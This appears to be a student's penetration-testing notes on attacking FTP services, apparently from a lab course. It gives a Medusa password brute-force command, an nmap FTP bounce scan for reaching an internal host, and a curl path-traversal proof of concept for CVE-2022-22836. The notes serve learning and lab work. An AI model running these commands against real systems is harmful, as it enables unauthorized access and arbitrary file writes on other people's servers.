Skip to content

Attacking FTP

  • TCP/21 - used to transfer files between computers
  • performs directory and file ops
  • pwd, list dir, renaming, deleting files

It is essential to note that we are not attacking the individual protocols themselves but the services that use them.

Brute Forcing

  • if anonymous login isnt present, we can brute force ftp using Medusa
  • https://github.com/jmk-foofus/medusa
  • medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp

FTP Bounce

  • We are targeting an FTP Server FTP_DMZ exposed to the internet.
  • Another device within the same network, Internal_DMZ, is not exposed to the internet.
  • We can use the connection to the FTP_DMZ server to scan Internal_DMZ using the FTP Bounce attack and obtain information about the server's open ports.
  • Then, we can use that information as part of our attack against the infrastructure.

Commands

  • nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
  • -b - used for bounce. Specify the IP of the other server at the end
  • Modern FPT servers prevent this type of attack

Latest FTP Vulnerabilities

  • CVE-2022-22836 - https://nvd.nist.gov/vuln/detail/CVE-2022-22836
  • https://www.exploit-db.com/exploits/50652
  • Unauth PUT request instead of POST
  • curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops